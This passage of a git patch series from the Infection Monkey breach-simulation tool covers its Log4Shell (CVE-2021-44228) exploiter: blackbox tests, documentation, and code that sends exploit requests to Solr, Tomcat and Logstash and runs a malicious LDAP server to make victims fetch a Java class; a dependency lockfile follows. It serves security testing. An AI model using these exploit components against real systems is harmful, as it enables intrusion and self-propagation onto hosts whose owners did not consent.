ShellShock, "Shellshock_exploiter") + + def test_log4j_solr_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jSolr, "Log4Shell_Solr_exploiter" + ) + + def test_log4j_tomcat_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" + ) + + def test_log4j_logstash_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" + ) def test_tunneling(self, island_client): TestMonkeyBlackbox.run_exploitation_test( From 29ea2a961c5a7ebb927c1942029645a96e950fbb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 Jan 2022 09:40:59 -0500 Subject: [PATCH 51/77] Docs: Some small tweaks to the Log4Shell documentation --- .../content/reference/exploiters/Log4Shell.md | 21 +++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/docs/content/reference/exploiters/Log4Shell.md b/docs/content/reference/exploiters/Log4Shell.md index c42fc76e6..7d532b32e 100644 --- a/docs/content/reference/exploiters/Log4Shell.md +++ b/docs/content/reference/exploiters/Log4Shell.md @@ -5,20 +5,33 @@ draft: false tags: ["exploit", "linux", "windows"] --- -The Log4Shell exploiter exploits [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). +The Log4Shell exploiter exploits +[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). ### Description -Some versions of Apache Log4j, a Java logging framework, have a logging feature called “Message Lookup Substitution” enabled by default. This allows replacing certain special strings by dynamically-generated strings at the time of logging. If log messages or log message parameters can be controlled by an attacker, arbitrary code can be executed. The Log4Shell exploiter takes advantage of this vulnerability to propagate to a victim machine. +Some versions of Apache Log4j, a Java logging framework, have a logging feature +called "Message Lookup Substitution" enabled by default. This allows replacing +certain special strings by dynamically-generated strings at the time of +logging. If log messages or log message parameters can be controlled by an +attacker, arbitrary code can be executed. The Log4Shell exploiter takes +advantage of this vulnerability to propagate to a victim machine. -To learn about the appropriate mitigations and read more, click [here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). +You can learn more about this vulnerability and potential mitigations +[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). ### Services exploited -The following services are attempted to be exploited: +The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the +following services: - Apache Solr - Apache Tomcat - Logstash + +**Note**: Even if none of these services are running in your environment, +running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR +solutions. These solutions should detect that the Infection Monkey is attempting +to exploit the Log4Shell vulnerability and raise an appropriate alert. From c2db37df1ecd27b975c56d0ef927c105f45d35b6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 13 Jan 2022 16:55:45 +0100 Subject: [PATCH 52/77] Agent: Use dropper for Log4Shell --- monkey/infection_monkey/exploit/log4shell.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 3f1a0c0fc..46129dfe3 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -15,9 +15,9 @@ from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( + DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND, - MONKEY_ARG, VictimHost, ) from infection_monkey.network.info import get_free_tcp_port @@ -131,7 +131,7 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=None + self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path ) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND @@ -141,7 +141,7 @@ class Log4ShellExploiter(WebRCE): return base_command % { "monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } From b94c8e54e2f8355d23413d845830642fdc6fb394 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 13 Jan 2022 16:59:22 +0100 Subject: [PATCH 53/77] Agent: Remove POC Docker Service --- .../service_exploiters/__init__.py | 3 +-- .../service_exploiters/poc_docker.py | 22 ------------------- 2 files changed, 1 insertion(+), 24 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 101db8f24..8b44e0e56 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -1,11 +1,10 @@ from typing import List from .i_service_exploiter import IServiceExploiter -from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit from .logstash import LogStashExploit def get_log4shell_service_exploiters() -> List[IServiceExploiter]: - return [DockerPOCExploit(), SolrExploit(), TomcatExploit(), LogStashExploit()] + return [SolrExploit(), TomcatExploit(), LogStashExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py deleted file mode 100644 index 32aba9cec..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py +++ /dev/null @@ -1,22 +0,0 @@ -from logging import getLogger - -import requests - -from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -class DockerPOCExploit(IServiceExploiter): - - service_name = "GoFinance mock application" - - @staticmethod - def trigger_exploit(payload: str, host: VictimHost, port: int): - url = f"http://{host.ip_addr}:{port}/login" - payload = {"uname": payload, "password": "m0nk3y"} - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") From 9f5034a8e5c03394a1ce50572bd63761581d6313 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 14 Jan 2022 10:14:03 +0000 Subject: [PATCH 54/77] Agent: fix race condition between ldap server and malicious requests --- monkey/infection_monkey/exploit/log4shell.py | 3 +++ .../exploit/log4shell_utils/service_exploiters/solr.py | 7 ++++--- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 46129dfe3..e693881f1 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -34,6 +34,7 @@ class Log4ShellExploiter(WebRCE): _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds + LDAP_SERVER_INIT_DELAY = 5 # Time period that code halts waiting for ldap server to start def __init__(self, host: VictimHost): super().__init__(host) @@ -111,6 +112,8 @@ class Log4ShellExploiter(WebRCE): # constructor directly after merging to the agent-refactor branch. self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True) self._ldap_server_thread.start() + logger.debug(f"Sleeping {Log4ShellExploiter.LDAP_SERVER_INIT_DELAY} seconds for ldap process to start") + sleep(Log4ShellExploiter.LDAP_SERVER_INIT_DELAY) def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 8078a106c..7bdc3fb42 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -13,9 +13,10 @@ class SolrExploit(IServiceExploiter): @staticmethod def trigger_exploit(payload: str, host: VictimHost, port: int): - url = f"http://{host.ip_addr}:{port}/solr/admin/cores" - payload = {"foo": payload} + url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + logger.debug("Sending malicious SOLR log4j request") + requests.post(url, timeout=5, verify=False) # noqa DUO123 + logger.debug("Request sent") except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") From be79f2bcdb318c689ba5c8f2e2bb36b92cdf344b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 14 Jan 2022 14:51:18 +0200 Subject: [PATCH 55/77] BB: add log4j machines to gcp machine list --- envs/monkey_zoo/blackbox/gcp_test_machine_list.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 2cd5a045c..a4dc02447 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = { "powershell-3-46", "powershell-3-47", "powershell-3-48", + "log4j-logstash-55", + "log4j-logstash-56", + "log4j-solr-49", + "log4j-solr-50", + "log4j-tomcat-51", + "log4j-tomcat-52", ], } From d5e05d788588cdc6ec8e3a3b29ff358c0b276291 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 14 Jan 2022 09:31:25 -0500 Subject: [PATCH 56/77] Agent: Change log level of Log4Shell HTTP startup message to INFO --- .../exploit/log4shell_utils/exploit_class_http_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index cabfb74ff..c10a70d2e 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -44,7 +44,7 @@ class ExploitClassHTTPServer: HTTPHandler.class_downloaded = self._class_downloaded def run(self): - logger.debug("Starting ExploitClassHTTPServer") + logger.info("Starting ExploitClassHTTPServer") self._class_downloaded.clear() self._server.serve_forever(self._poll_interval) From c9e59bd26674d1ec2f397da77a081961834cb326 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 14 Jan 2022 09:43:14 -0500 Subject: [PATCH 57/77] Agent: Refactor Log4Shell LDAP server to avoid race condition A race condition existed between the time when the LDAP server was instructed to start and the first exploit was sent to the victim. Sometimes, the first exploit would be sent before the LDAP server finished starting, resulting in failed exploitation. To remedy this, the LDAPExploitServer.run() function now blocks until the server has successfully started. Once the server has started, LDAPExploitServer.run() returns. This allows the caller to have confidence that the LDAP server is running after LDAPExploitServer.run() returns and alleviates the need to sleep in order to avoid the race condition. --- monkey/infection_monkey/exploit/log4shell.py | 14 +-- .../exploit/log4shell_utils/ldap_server.py | 85 +++++++++++++++++-- 2 files changed, 81 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e693881f1..80a3cbb6e 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -34,7 +34,6 @@ class Log4ShellExploiter(WebRCE): _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds - LDAP_SERVER_INIT_DELAY = 5 # Time period that code halts waiting for ldap server to start def __init__(self, host: VictimHost): super().__init__(host) @@ -45,7 +44,6 @@ class Log4ShellExploiter(WebRCE): self.class_http_server_port = get_free_tcp_port() self._ldap_server = None - self._ldap_server_thread = None self._exploit_class_http_server = None self._exploit_class_http_server_thread = None self._agent_http_server_thread = None @@ -106,14 +104,7 @@ class Log4ShellExploiter(WebRCE): storage_dir=get_monkey_dir_path(), ) - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True) - self._ldap_server_thread.start() - logger.debug(f"Sleeping {Log4ShellExploiter.LDAP_SERVER_INIT_DELAY} seconds for ldap process to start") - sleep(Log4ShellExploiter.LDAP_SERVER_INIT_DELAY) + self._ldap_server.run() def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") @@ -123,8 +114,7 @@ class Log4ShellExploiter(WebRCE): self._exploit_class_http_server.stop() self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self._ldap_server.stop() - self._ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) def _build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 382993d68..074779f59 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,6 +1,9 @@ import logging +import math import multiprocessing import tempfile +import threading +import time from pathlib import Path from ldaptor.interfaces import IConnectedLDAPEntry @@ -15,6 +18,11 @@ from twisted.python.components import registerAdapter logger = logging.getLogger(__name__) EXPLOIT_RDN = "dn=Exploit" +REACTOR_START_TIMEOUT_SEC = 30.0 + + +class LDAPServerStartError(Exception): + pass class Tree: @@ -67,6 +75,22 @@ class LDAPExploitServer: def __init__( self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path ): + """ + :param ldap_server_port: The port that the LDAP server will listen on. + :type ldap_server_port: int + + :param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell + Java class. + :type http_server_ip: str + + :param http_server_port: The port the HTTP server is listening on. + :type ldap_server_port: int + + :param storage_dir: A directory where the LDAP server can safely store files it needs during + runtime. + :type storage_dir: Path + """ + self._reactor_startup_completed = multiprocessing.Event() self._ldap_server_port = ldap_server_port self._http_server_ip = http_server_ip self._http_server_port = http_server_port @@ -81,14 +105,45 @@ class LDAPExploitServer: ) def run(self): + """ + Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the + server and blocks until either the server has successfully started or it times out. + + :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. + """ + logger.info("Starting LDAP exploit server") self._server_process.start() - self._server_process.join() + reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) + + if not reactor_running: + raise LDAPServerStartError("An unknown error prevented the LDAP server from starting") + + logger.debug("The LDAP exploit server has successfully started") def _run_twisted_reactor(self): - self._configure_twisted_reactor() logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") + self._configure_twisted_reactor() + + # Since the call to reactor.run() blocks, a separate thread is started to poll the value + # of `reactor.running` and set the self._reactor_startup_complete Event when the reactor + # is running. This allows the self.run() function to block until the reactor has + # successfully started. + threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start() reactor.run() + def _check_if_reactor_startup_completed(self): + check_interval_sec = 0.25 + num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) + + for _ in range(0, num_checks): + if reactor.running: + logger.debug("Twisted reactor startup completed") + self._reactor_startup_completed.set() + break + + logger.debug("Twisted reactor has not yet started") + time.sleep(check_interval_sec) + def _configure_twisted_reactor(self): LDAPExploitServer._output_twisted_logs_to_python_logger() @@ -110,7 +165,25 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def stop(self): - # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully - # shutdown. - self._server_process.terminate() + def stop(self, timeout: float = None): + """ + Stops the LDAP server. + + :param timeout: A floating point number of seconds to wait for the server to stop. If this + argument is None (the default), the method blocks until the LDAP server + terminates. If `timeout` is a positive floating point number, this method + blocks for at most `timeout` seconds. + :type timeout: float + """ + if self._server_process.is_alive(): + logger.debug("Stopping LDAP exploit server") + + # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully + # shutdown. + self._server_process.terminate() + self._server_process.join(timeout) + + if self._server_process.is_alive(): + logger.warning("Timed out while waiting for the LDAP exploit server to stop.") + else: + logger.debug("Successfully stopped the LDAP exploit server") From 363d0e14bfc1cf9cf1b3ce0e8218537e8605d938 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 14 Jan 2022 11:53:50 -0500 Subject: [PATCH 58/77] UT: Add unit test for Log4Shell LDAPExploitServer --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 2554 +++++++++-------- .../log4shell_utils/test_ldap_server.py | 40 +- 3 files changed, 1323 insertions(+), 1272 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 7c1d80134..6600fab8a 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -34,6 +34,7 @@ typing-extensions = "*" ldaptor = "*" [dev-packages] +ldap3 = "*" [requires] python_version = "3.7" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 4089b56f3..b33e8f835 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,1263 +1,1291 @@ -{ - "_meta": { - "hash": { - "sha256": "3c1d7bd82a9f8e231077101853328f117777710b2e5fbf96c9652216241e6c91" - }, - "pipfile-spec": 6, - "requires": { - "python_version": "3.7" - }, - "sources": [ - { - "name": "pypi", - "url": "https://pypi.org/simple", - "verify_ssl": true - } - ] - }, - "default": { - "aiowinreg": { - "hashes": [ - "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", - "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" - ], - "markers": "python_version >= '3.6'", - "version": "==0.0.7" - }, - "altgraph": { - "hashes": [ - "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", - "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" - ], - "index": "pypi", - "version": "==0.17.2" - }, - "asn1crypto": { - "hashes": [ - "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", - "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" - ], - "version": "==1.4.0" - }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, - "asysocks": { - "hashes": [ - "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", - "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" - ], - "markers": "python_version >= '3.6'", - "version": "==0.1.2" - }, - "attrs": { - "hashes": [ - "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", - "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==21.2.0" - }, - "automat": { - "hashes": [ - "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33", - "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111" - ], - "version": "==20.2.0" - }, - "bcrypt": { - "hashes": [ - "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", - "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", - "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", - "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", - "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", - "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", - "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" - ], - "markers": "python_version >= '3.6'", - "version": "==3.2.0" - }, - "boto3": { - "hashes": [ - "sha256:a03ab82efcbf457c36dab4afc545d0ddb72b5140c9993cffc78bc23b8d8baa40", - "sha256:fa686e8e0a0559124aa9f19dcc25e6cc428f18ff11f779bb7346b883b353fdc2" - ], - "markers": "python_version >= '3.6'", - "version": "==1.20.25" - }, - "botocore": { - "hashes": [ - "sha256:98f8a23ca035edfbd8a8028e624eaf08ba22452dd78ad62eeb03fcd0bbd5f58d", - "sha256:9eb71d5ee1ea335b3968751346601e923c66a7b324b1dc58e360d14e0d2ac136" - ], - "markers": "python_version >= '3.6'", - "version": "==1.23.25" - }, - "certifi": { - "hashes": [ - "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", - "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569" - ], - "version": "==2021.10.8" - }, - "cffi": { - "hashes": [ - "sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3", - "sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2", - "sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636", - "sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20", - "sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728", - "sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27", - "sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66", - "sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443", - "sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0", - "sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7", - "sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39", - "sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605", - "sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a", - "sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37", - "sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029", - "sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139", - "sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc", - "sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df", - "sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14", - "sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880", - "sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2", - "sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a", - "sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e", - "sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474", - "sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024", - "sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8", - "sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0", - "sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e", - "sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a", - "sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e", - "sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032", - "sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6", - "sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e", - "sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b", - "sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e", - "sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954", - "sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962", - "sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c", - "sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4", - "sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55", - "sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962", - "sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023", - "sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c", - "sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6", - "sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8", - "sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382", - "sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7", - "sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc", - "sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997", - "sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796" - ], - "index": "pypi", - "version": "==1.15.0" - }, - "chardet": { - "hashes": [ - "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", - "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==4.0.0" - }, - "charset-normalizer": { - "hashes": [ - "sha256:1eecaa09422db5be9e29d7fc65664e6c33bd06f9ced7838578ba40d58bdf3721", - "sha256:b0b883e8e874edfdece9c28f314e3dd5badf067342e42fb162203335ae61aa2c" - ], - "markers": "python_version >= '3'", - "version": "==2.0.9" - }, - "cheroot": { - "hashes": [ - "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", - "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.5.2" - }, - "cherrypy": { - "hashes": [ - "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", - "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" - ], - "markers": "python_version >= '3.5'", - "version": "==18.6.1" - }, - "cherrypy-cors": { - "hashes": [ - "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", - "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" - ], - "markers": "python_version >= '2.7'", - "version": "==1.6" - }, - "click": { - "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" - ], - "markers": "python_version >= '3.6'", - "version": "==8.0.3" - }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", - "version": "==0.4.4" - }, - "coloredlogs": { - "hashes": [ - "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", - "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" - ], - "version": "==10.0" - }, - "constantly": { - "hashes": [ - "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", - "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" - ], - "version": "==15.1.0" - }, - "cryptography": { - "hashes": [ - "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", - "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", - "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", - 